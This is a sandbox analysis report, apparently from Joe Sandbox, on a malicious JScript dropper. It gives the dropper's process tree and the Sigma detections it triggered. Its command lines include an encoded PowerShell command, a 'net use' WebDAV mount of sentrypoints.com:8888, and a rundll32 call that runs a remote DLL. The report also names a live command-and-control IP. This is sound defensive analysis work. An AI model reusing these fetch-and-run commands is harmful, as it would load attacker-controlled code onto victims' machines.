Edit tour

Windows Analysis Report
1997614539972622565.js

Overview

General Information

Sample name:	1997614539972622565.js
Analysis ID:	1543762
MD5:	1d5eeb78265b9887d284bf08d25c3368
SHA1:	f0203afcf43febcb307812d19c6a010ad194a26d
SHA256:	96f7a1602553aaa0f38091bee8055114416a460c7ada60e856ca0882bbbd4127
Infos:

Detection

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Encrypted powershell cmdline option found

JavaScript source code contains functionality to generate code involving a shell, file or stream

Opens network shares

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7340 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1997614539972622565.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 7392 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAOwA7ADsAOwA7ADsAOwAgAHIAdQBuAGQAbABsADMAMgAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADIAOQAyADUAMgAyADQANwAzADMAMAAxADIANwAuAGQAbABsACwARQBuAHQAcgB5AA== MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 7556 cmdline: "C:\Windows\system32\net.exe" use \\sentrypoints.com@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

rundll32.exe (PID: 7592 cmdline: "C:\Windows\system32\rundll32.exe" \\sentrypoints.com@8888\davwwwroot\229252247330127.dll,Entry MD5: EF3179D498793BF4234F708D3BE28633)

cleanup

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\system32\rundll32.exe" \\sentrypoints.com@8888\davwwwroot\229252247330127.dll,Entry, CommandLine: "C:\Windows\system32\rundll32.exe" \\sentrypoints.com@8888\davwwwroot\229252247330127.dll,Entry, CommandLine|base64offset|contains: , Image: C:\Windows\System32\rundll32.exe, NewProcessName: C:\Windows\System32\rundll32.exe, OriginalFileName: C:\Windows\System32\rundll32.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAOwA7ADsAOwA7ADsAOwAgAHIAdQBuAGQAbABsADMAMgAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADIAOQAyADUAMgAyADQANwAzADMAMAAxADIANwAuAGQAbABsACwARQBuAHQAcgB5AA==, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7392, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\rundll32.exe" \\sentrypoints.com@8888\davwwwroot\229252247330127.dll,Entry, ProcessId: 7592, ProcessName: rundll32.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1997614539972622565.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1997614539972622565.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1997614539972622565.js", ProcessId: 7340, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 94.159.113.48, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7556, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49730

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAOwA7ADsAOwA7ADsAOwAgAHIAdQBuAGQAbABsADMAMgAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADIAOQAyADUAMgAyADQANwAzADMAMAAxADIANwAuAGQAbABsACwARQBuAHQAcgB5AA==, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAOwA7ADsAOwA7ADsAOwAgAHIAdQBuAGQAbABsADMAMgAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADIAOQAyADUAMgAyADQANwAzADMAMAAxADIANwAuAGQAbABsACwARQBuAHQAcgB5AA==, CommandLine|base64offset|contains: Ijw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1997614539972622565.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7340, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAOwA7ADsAOwA7ADsAOwAgAHIAdQBuAGQAbABsADMAMgAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADIAOQAyADUAMgAyADQANwAzADMAMAAxADIANwAuAGQAbABsACwARQBuAHQAcgB5AA==, ProcessId: 7392, ProcessName: powershell.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1997614539972622565.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1997614539972622565.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1997614539972622565.js", ProcessId: 7340, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAOwA7ADsAOwA7ADsAOwAgAHIAdQBuAGQAbABsADMAMgAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADIAOQAyADUAMgAyADQANwAzADMAMAAxADIANwAuAGQAbABsACwARQBuAHQAcgB5AA==, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAOwA7ADsAOwA7ADsAOwAgAHIAdQBuAGQAbABsADMAMgAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADIAOQAyADUAMgAyADQANwAzADMAMAAxADIANwAuAGQAbABsACwARQBuAHQAcgB5AA==, CommandLine|base64offset|contains: Ijw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1997614539972622565.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7340, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAOwA7ADsAOwA7ADsAOwAgAHIAdQBuAGQAbABsADMAMgAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADIAOQAyADUAMgAyADQANwAzADMAMAAxADIANwAuAGQAbABsACwARQBuAHQAcgB5AA==, ProcessId: 7392, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: "C:\Windows\system32\net.exe" use \\sentrypoints.com@8888\davwwwroot\, CommandLine: "C:\Windows\system32\net.exe" use \\sentrypoints.com@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAOwA7ADsAOwA7ADsAOwAgAHIAdQBuAGQAbABsADMAMgAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADIAOQAyADUAMgAyADQANwAzADMAMAAxADIANwAuAGQAbABsACwARQBuAHQAcgB5AA==, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7392, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\net.exe" use \\sentrypoints.com@8888\davwwwroot\, ProcessId: 7556, ProcessName: net.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\system32\net.exe" use \\sentrypoints.com@8888\davwwwroot\, CommandLine: "C:\Windows\system32\net.exe" use \\sentrypoints.com@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAOwA7ADsAOwA7ADsAOwAgAHIAdQBuAGQAbABsADMAMgAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADIAOQAyADUAMgAyADQANwAzADMAMAAxADIANwAuAGQAbABsACwARQBuAHQAcgB5AA==, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7392, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\net.exe" use \\sentrypoints.com@8888\davwwwroot\, ProcessId: 7556, ProcessName: net.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1997614539972622565.js

Argument value : ['"WScript.Shell"', '"powershell -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAA']

Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe	Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Child: C:\Windows\System32\rundll32.exe

Networking

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49730

Source: global traffic

TCP traffic: 192.168.2.4:49730 -> 94.159.113.48:8888

Source: Joe Sandbox View

IP Address: 94.159.113.48 94.159.113.48

Source: Joe Sandbox View

ASN Name: NETCOM-R-ASRU NETCOM-R-ASRU

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: sentrypoints.com

Source: powershell.exe, 00000001.00000002.1722539951.0000019860A80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: powershell.exe, 00000001.00000002.1721469464.0000019848B1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: net.exe, 00000003.00000003.1718704357.00000222C681C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000003.1718812871.00000222C67FE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000002.1719075045.00000222C67C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000002.1719127387.00000222C67FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sentrypoints.com:8888/
Source: net.exe, 00000003.00000002.1719075045.00000222C67C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sentrypoints.com:8888/pL
Source: net.exe, 00000003.00000002.1719075045.00000222C67C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sentrypoints.com:8888/paceUl
Source: powershell.exe, 00000001.00000002.1721469464.0000019848A9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000001.00000002.1721469464.0000019848AE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAOwA7ADsAOwA7ADsAOwAgAHIAdQBuAGQAbABsADMAMgAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADIAOQAyADUAMgAyADQANwAzADMAMAAxADIANwAuAGQAbABsACwARQBuAHQAcgB5AA==
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAOwA7ADsAOwA7ADsAOwAgAHIAdQBuAGQAbABsADMAMgAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADIAOQAyADUAMgAyADQANwAzADMAMAAxADIANwAuAGQAbABsACwARQBuAHQAcgB5AA==			Jump to behavior

Source: 1997614539972622565.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal84.troj.spyw.expl.evad.winJS@8/3@1/1

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7400:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_teaw0blp.05e.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" \\sentrypoints.com@8888\davwwwroot\229252247330127.dll,Entry

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1997614539972622565.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAOwA7ADsAOwA7ADsAOwAgAHIAdQBuAGQAbABsADMAMgAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADIAOQAyADUAMgAyADQANwAzADMAMAAxADIANwAuAGQAbABsACwARQBuAHQAcgB5AA==
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\net.exe "C:\Windows\system32\net.exe" use \\sentrypoints.com@8888\davwwwroot\
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" \\sentrypoints.com@8888\davwwwroot\229252247330127.dll,Entry
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAOwA7ADsAOwA7ADsAOwAgAHIAdQBuAGQAbABsADMAMgAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADIAOQAyADUAMgAyADQANwAzADMAMAAxADIANwAuAGQAbABsACwARQBuAHQAcgB5AA==	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\net.exe "C:\Windows\system32\net.exe" use \\sentrypoints.com@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" \\sentrypoints.com@8888\davwwwroot\229252247330127.dll,Entry	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
